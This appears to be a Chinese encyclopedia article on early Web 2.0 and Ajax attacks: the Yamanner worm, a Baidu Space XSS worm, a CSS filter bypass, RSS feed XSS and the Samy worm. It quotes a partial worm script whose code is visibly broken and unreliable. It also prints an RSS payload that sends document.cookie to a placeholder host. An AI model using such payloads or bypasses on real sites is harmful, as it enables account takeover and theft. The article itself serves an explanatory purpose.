當然凡事有利亦有弊,黑客們很快就找到了Ajax的可攻擊弱點——SQL資料隱碼(SQL injections)、跨站腳本(cross-sitescripting)和服務拒絕攻擊(Denial ofService)等。只是當時web2.0技術尚沒有像如今一樣流行,而且沒有比較正規化的平台發展起來,所以並沒有大量的攻擊出現。
真正的大型Ajax攻擊在今年的6月12日首次出現在Yahoo!的Email服務上,而且甚至引起symantec的高度警覺。在其官方網站上你可以看到如
下信息:
Discovered: June 12, 2006
Updated: June 20, 2006 10:46:40 AM ZW3
Also Known As: JS/Yamanner@MM [McAfee], JS_YAMANER.A [Trend Micro], Yamanner.A [F-Secure], JS/Yamann-A [Sophos]
Type: Worm
Infection Length: 6,377 bytes.
Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP
JS.Yamanner@m is a worm that is written in JavaScript. It exploits a vulnerability in the Yahoo! Mail service to send a copy
of itself to other Yahoo! Mail contacts.
你可以看到該攻擊程式為一大小為6.377k的javascript蠕蟲程式,並在20日進行了變種;因為是javascript代碼,所以可以通吃所有版本的windows作業系統。Symantec對其的官方解釋為:Yamanner是一個用javascript寫的蠕蟲,它利用Yahoo!Mail服務的一個弱點以用戶的聯繫人列表向外發出自己的拷貝。事實上這個蠕蟲甚至不需要你打開附屬檔案,只要一瀏覽郵件立即會使其蔓延。我很幸運地對於當時原始的病毒代碼進行收集,有興趣的可以到光碟中查看,如今在網上幾乎找不到了。從其中的一段功能代碼,你可以看出javascript究竟是怎么被寫入的,寫入後檔案又是通過什麼方式調用的:
0)
{
p=s.indexOf(');
if(p>0)
{
p=s.indexOf('/',p);
p2=s.indexOf(String.fromCharCode(34),p);
var user=s.substring(p+1,p2);
var;
var link="目標網址";
var desc="This link was added by an XSS script";
var url="/"+user+'/commit';
var data="ct=6&cm=1&spRef="+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName="+escape(name)"&spBud
dyURL="+escape(link)"&spBuddyIntro="+escape(desc);//- - 這句是整個蠕蟲的執行語句,也是Ajax的數據異步調用語句。
req.open("post',url,false);
req.send(data);
alert('A friend link has been added to your space at http://hi.baidu.com/'+user);
}
}
else{alert('You are not a logged Baidu user.');} //- - 由於是標本語句,所以這裡有對是否登入的判斷,但實際攻擊中當然不會有。
}";
}
當時百度在第一時間內對此蠕蟲作出了反映——過濾提交表單中的javascript,當然這也使正常用戶無法再在blog中貼入Flash動畫。但後
來的變種使得境況變得更糟糕,因為有人發現百度僅僅是過濾了CSS文本中的譬如"javascript"和"expression"這樣的字元串。也就是說如果把”javascript”分成兩行來寫,就可以繞過百度的過濾但同時又被IE執行。而這時變種的蠕蟲也隨之產生,其造成的結果是在用戶的css中
加入如下代碼:
#header {[script]window.location.href="http://hi.baidu.com";……
很簡單的一句吧,這幾乎把該蠕蟲提升到了病毒性質,因為用戶本身無法到達css修改頁面來修復他的css代碼。事實上直到寫這篇文章時,百度空間尚沒有對一些另類的插入惡意代碼方式進行有效地過濾和封鎖。
如果認為他們所造成的影響都是局域的,那么我不得不帶領大家來看一些影響比較廣泛的最具有web2.0性質的——Rss(Really SimpleSyndication)攻擊。這是我從zdnet.com的Joris Evers的一篇名為“Blog feeds may carrysecurity risk”了解到的,大體意思是說由於目前幾乎所有的不管是線上的還是離線的Rss閱讀器都沒有有效地對攙雜在Rss中的腳本進行過濾,導致攻擊者可以向Rss中寫入惡意的javascript代碼,最終導致xss跨站,獲取用戶信息或其他。包括著名的bloglines, RSS Reader, RSSOwl, Feed Demon, Sharp Reader都在攻擊範圍之內。這是去年yahoo rss xss代碼:
javascript:%20document.location="http://www.target.com/cookie.cgi"%20+document.cookie;
Should Steal Your Cookie.
Tue, 20 Sep 2005 23:55:18 EDT
javascript:%20alert(document.cookie);
Should Steal Your Cookie.
Tue, 20 Sep 2005 23:55:18 EDT
事實上,最早的web2.0攻擊出現在去年的myspace.上,有人在MySpace交友網站上寫了一段JavaScript蠕蟲代碼,利用Ajax方法讓無數的用戶在不知情的情況下把他加入了好友名單,同時在他們的個人簡介最後自動加上了“samy is myhero”的字樣。此蠕蟲被稱為世界上第一個“web2.0蠕蟲”。而從上文的對email、css、rss攻擊進行的描述中你也可以看出目前對web2.0的攻擊利用亦是多方面的。但並不單單指跨站,網上有一篇《Hacking Ajax》的文章,其中有一句話被加了黑體,“Bycorrupting one of the dozens of data exchanges Ajax handles whileloading a Web page, a hacker can take over control of thePC”,也就是說適當情況下,利用Ajax攻擊並獲得個人電腦
管理許可權亦是可能的。
由於目前系統對補丁的發布採取的都是時時更新功能,想通過溢出獲得shell已經很難了,除非是0day的系統漏洞;而sql注入在網路也肆虐了幾年,亦有了行之有效的防範方法;並且由於Python和Ruby語言的興起,新的web2.0服務正在產生並有取代現有web結構趨勢,譬如Plone。
但不可改變的是web瀏覽器對xhtml和javascript的解釋,只要我們始終有改變javascript的可能性,我們就永遠有提升自己許可權的可能……
相關詞條
-
ajax攻擊
到了Ajax的可攻擊弱點——SQL資料隱碼(SQL injections...。真正的大型Ajax攻擊在今年的6月12日首次出現在Yahoo...情況下,利用Ajax攻擊並獲得個人電腦管理許可權亦是可能的。由...
-
AJAX安全技術
《AJAX安全技術》是一本為專業人士提供預防Ajax安全漏洞一手實踐的入門指導書。由美國(BillyHoffmanBryanSullivan)霍夫曼所著...
內容簡介 作者簡介 編輯推薦 目錄 -
跨站腳本攻擊
跨站腳本攻擊(也稱為XSS)指利用網站漏洞從用戶那裡惡意盜取信息。
背景 簡介 攻擊分類 類型 危害 -
Ajax與PHP基礎教程
《Ajax與PHP基礎教程》是2007年7月人民郵電出版社出版的圖書,作者是Lee Babin。
圖書簡介 圖書目錄 -
XSS跨站腳本攻擊剖析與防禦
《XSS跨站腳本攻擊剖析與防禦》是2013年出版的圖書,作者是邱永華。
內容介紹 作者介紹 作品目錄 -
俄羅斯885型白蠟樹級多用途攻擊核潛艇
俄羅斯885型白蠟樹級多用途攻擊核潛艇是攻擊性核潛艇。
簡介 研製背景 性能介紹 艇型與結構 隱身性能 -
電子商務網站開發與管理
的實現、Ajax技術(基於jQuery)、個性化推薦技術、SEO技術及電子商務網站的安全等步驟進行內容組織。尤其是重點講解了Ajax技術、SEO...)教材中使用較多篇幅介紹了Ajax技術(基於jQuery)。這是因為...
版權資訊 內容簡介 編輯推薦 前 言 目 錄 -
《ASP.NET開發典型模組大全》
技術、Ajax、高級套用技術等。 本書附有配套光碟。光碟提供了書中所有...試卷可用狀態 137 5.2.6 Ajax伺服器控制項的套用 138... 5.3.2 Ajax環境中的對話框類 143 5.4 線上考試頁設計 144...
基本信息 編輯推薦 內容簡介 目錄: -
ASP.NET開發典型模組大全
訪問技術、安全技術、服務技術、Ajax、高級套用技術等。 本書附有配套... 5.2.6 Ajax伺服器控制項的套用 138 5.3 公共類... Ajax環境中的對話框類 143 5.4 線上考試頁設計 144...
ASP.NET開發典型模組大全 編輯推薦 內容簡介